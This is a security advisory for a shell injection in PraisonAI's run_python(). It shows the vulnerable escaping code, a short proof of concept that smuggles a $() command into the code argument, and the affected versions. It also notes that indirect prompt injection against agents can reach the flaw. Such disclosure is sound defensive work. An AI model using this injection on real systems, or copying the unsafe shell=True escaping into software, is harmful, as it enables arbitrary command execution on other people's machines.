PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
Summary
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)
PoC
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python
result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | praisonaiagents | < 1.5.90 | 1.5.90 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-78- Platform
- Python (PyPI)
- Package
praisonaiagents- Disclosed
- 01.04.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2954 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-w37c-qqfp-c67f - CC BY 4.0
Vulnerability history: praisonaiagents
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 50
- First → latest
- 04.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 27
- Medium 13
Disclosures per year
- 2026: 50
-
PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution this entry
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